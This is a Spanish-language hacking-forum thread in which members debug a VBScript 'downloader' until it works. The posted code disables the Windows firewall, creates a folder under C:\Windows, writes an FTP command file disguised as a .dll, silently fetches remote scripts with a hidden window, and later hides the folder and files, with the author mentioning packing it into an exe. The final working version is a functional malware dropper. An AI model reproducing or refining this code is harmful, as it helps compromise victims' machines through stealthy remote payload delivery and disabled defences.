Downloader en vbs me descarga carpeta y archivo vacio

Iniciado por Instalador, 26 Enero 2013, 20:42 PM

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1 2
Acciones del Usuario

Instalador

26 Enero 2013, 20:42 PM
Buenas tardes, tomando las ideas de varios foreros, arme un downloader que se conecta al hosting, crea carpeta y aparecen las carpetas y archivos a descargar pero....
vacios.
Ya cambie de hosting y lo mismo pasa.
Alguien ha tenido el mismo problema? Gracias.

$Edu$

#1
26 Enero 2013, 20:57 PM
Sin codigo imposible de adivinar, pero como lo has puesto en hacking basico seguro que es un downloader para malware, y tal vez se descarga si pero tu antivirus borra el archivo. Digo yo, mucho no podemos saber si no das mas datos.

Instalador

#2
26 Enero 2013, 21:07 PM Ultima modificación: 26 Enero 2013, 21:11 PM por Instalador
Cita de: $Edu$ en 26 Enero 2013, 20:57 PM
Sin codigo imposible de adivinar, pero como lo has puesto en hacking basico seguro que es un downloader para malware, y tal vez se descarga si pero tu antivirus borra el archivo. Digo yo, mucho no podemos saber si no das mas datos.

Gracias por contestar, para nada es malware.

Y el codigo es este:

Set fw = CreateObject("HNetCfg.FwMgr")
Set policy = fw.LocalPolicy.CurrentProfile
policy.FirewallEnabled = FALSE

Set PV2 = CreateObject("Scripting.FileSystemObject")
PV2.createfolder "C:\Windows\diana"

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-

ftp.dll",true)
archivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /public_html"
archivotexto.writeline "lcd C:\WINDOWS\diana"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "get borrar.vbs"
archivotexto.writeline "bye"
archivotexto.close

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile

("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll

ftp.260mb.org"
archivotexto.writeline "bye"
archivotexto.close

set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "C:\WINDOWS\diana\descarga.cmd", vbHide


Nota: En relacion al antivirus, lo desactive y como podras ver el firewall se desactiva al inicio del codigo.

Olvide mencionar que ya use un segundo hosting, he probado en 2 maquinas diferentes y lo mismo pasa.

Gracias por tus comentarios.

$Edu$

#3
26 Enero 2013, 23:42 PM
Entonces que hace este tema en Hacking Basico? xD

Instalador

#4
26 Enero 2013, 23:47 PM Ultima modificación: 26 Enero 2013, 23:54 PM por Instalador
Cita de: $Edu$ en 26 Enero 2013, 23:42 PM
Entonces que hace este tema en Hacking Basico? xD



Uffffff disculpa, perdoname la vida.

Si para ti es molestia el hecho de cometer un error mil disculpas, espero no haberte ofendido ni haber afectado tus intereses, solo pido ayuda.

En realidad de ti solo he recibido recriminaciones, con todo respeto creo que con no contestar te hubiera evitado molestias.

Y el porque esta este nuevo tema aqui, sera por el mismo motivo que esta este otro aqui.

http://foro.elhacker.net/hacking_basico/manual_creando_un_downloader_en_batch_ataques_con_noip_servu_radmin21-t186544.0.html

De cualquier manera gracias. Lo mejor para ti.

skapunky

#5
27 Enero 2013, 01:03 AM
Citararchivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"

Las dos lineas de abajo refieren a usuario y contraseña del FTP? si es así es una buena manera de regalar el contenido que tenga tu cuenta, en un archivo .vbs es fácil leer el contenido.

Deberías cifrar...
Killtrojan Syslog v1.44: ENTRAR

Instalador

#6
27 Enero 2013, 01:19 AM
Cita de: skapunky en 27 Enero 2013, 01:03 AM
Las dos lineas de abajo refieren a usuario y contraseña del FTP? si es así es una buena manera de regalar el contenido que tenga tu cuenta, en un archivo .vbs es fácil leer el contenido.

Deberías cifrar...

skapunky:

El archivo vbs al final se convierte a exe con el ScriptCryptor
Gracias por tus comentarios, saludos.

Crazy.sx

#7
27 Enero 2013, 20:35 PM Ultima modificación: 27 Enero 2013, 20:40 PM por Lucas.AR
Hace mucho que no trabajo con estos scripts. A VBS nunca lo vi en profundidad y los scripts Batch hace años que no lo uso. Pero me puse a ver lo que había hecho y a tratar de hacer memoria para ver si te puedo ayudar.

Según estuve viendo aquí, básicamente sería, en primer lugar, un archivo que se ha llamado dfshell.dll que contiene los comandos necesarios para que FTP de Windows los use y pueda conectar y hacer lo que quieras en el servidor de FTP. Y, en segundo lugar, se ejecuta el FTP indicando que los comandos necesarios para trabajar están en ese archivo.

Siguiendo tu código, creo que te falta algo importante, el comando OPEN antes de escribir la dirección del hosting FTP:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open"
archivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /public_html"
archivotexto.writeline "lcd C:\WINDOWS\diana"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "get borrar.vbs"
archivotexto.writeline "bye"
archivotexto.close

Después, en esta parte:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile

("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll

ftp.260mb.org"
archivotexto.writeline "bye"
archivotexto.close

Creo que no hace falta que escribas:

Citarftp.260mb.org"
archivotexto.writeline "bye"

Solo bastaría conque hagas lo siguiente:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.writeline "exit"
archivotexto.close

Y ahora sí solo debes ejecutar el script batch que creas, me refiero a descarga.cmd como lo haces en tu código.

Saludos, y espero que ésta sea la solución, si no, volvé y hacé de nuevo la consulta. Jeje.  :P
Destruir K. LOL

Instalador

#8
27 Enero 2013, 20:41 PM Ultima modificación: 28 Enero 2013, 01:31 AM por Instalador
Cita de: Lucas.AR en 27 Enero 2013, 20:35 PM
Hace mucho que no trabajo con estos scripts. A VBS nunca lo vi en profundidad y los scripts Batch hace años que no lo uso. Pero me puse a ver lo que había hecho y a tratar de hacer memoria para ver si te puedo ayudar.

Según estuve viendo aquí, básicamente sería, en primer lugar, un archivo que se ha llamado dfshell.dll que contiene los comandos necesarios para que FTP de Windows los use y pueda conectar y hacer lo que quieras en el servidor de FTP. Y, en segundo lugar, se ejecuta el FTP indicando que los comandos necesarios para trabajar están en ese archivo.

Siguiendo tu código, creo que te falta algo importante, el comando OPEN antes de escribir la dirección del hosting FTP:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open"
archivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /public_html"
archivotexto.writeline "lcd C:\WINDOWS\diana"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "get borrar.vbs"
archivotexto.writeline "bye"
archivotexto.close

Después, en esta parte:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile

("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll

ftp.260mb.org"
archivotexto.writeline "bye"
archivotexto.close

Creo que no hace falta que escribas:

Solo bastaría conque hagas lo siguiente:

Código (vb) [Seleccionar]
Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.close

Y ahora sí solo debes ejecutar el script batch que creas, me refiero a descarga.cmd como lo haces en tu código.

Saludos, y espero que ésta sea la solución, si no, volvé y hacé de nuevo la consulta. Jeje.  :P


Lucas.AR:

Gracias por contestar, hare las correcciones que mencionas y probare.
Te comento resultados en un momento, gracias.

Lucas.AR:

Ya hice las modificaciones, pero me sigue descargando los archivos vacios.
Estarias de acuerdo en que te pase los datos de conexion por privado para que veas los resultados? Bueno si tienes tiempo Gracias.

Se me ocurre que por algun motivo el hosting me tenga bloqueado, podrias probar el script en algun hosting?? Gracias.

Lucas.AR:

Solucionado, el codigo quedo asi:

Set fw = CreateObject("HNetCfg.FwMgr")
Set policy = fw.LocalPolicy.CurrentProfile
policy.FirewallEnabled = FALSE

Set PV2 = CreateObject("Scripting.FileSystemObject")
PV2.createfolder "C:\Windows\diana"

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open xx.xxx.xxx.xx"
archivotexto.writeline "xxxxxxxx"
archivotexto.writeline "xxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /"
archivotexto.writeline "lcd C:\WINDOWS\diana"
'archivotexto.writeline "get PRUEBA.exe"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "bye"
archivotexto.close

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.close

set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "C:\WINDOWS\diana\descarga.cmd", vbHide

Aprovechando, otra molestia.
He tratado de aplicar atributos a carpetas y archivos mediante vbs pero no lo he logrado.

Trate con este codigo pero no me funciona
Set objfso = createobject("scripting.filesystemobject")

Set archivo = objfso.getfile("C:\tutorial.pdf")   'obtenemos el control sobre el archivo pdf
archivo.attributes = 34            'attributo dearchivo y oculto

Gracias por tu orientacion, saludos.


Lucas.AR:

Solucionado, para ocultar carpeta y archivo en vbs, los codigos son:

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder("C:\WINDOWS\diana")
If objFolder.Attributes = objFolder.Attributes AND 2 Then
    objFolder.Attributes = objFolder.Attributes XOR 2
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("C:\WINDOWS\archivo.zip")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If

Saludos

Crazy.sx

#9
28 Enero 2013, 02:56 AM
Muy bien Instalador, que bueno que pudiste resolverlo. Además me has ayudado a recordar un poco sobre los scripts. Jeje.

Saludos.
Destruir K. LOL
Imprimir
Ir Arriba Páginas1 2
Acciones del Usuario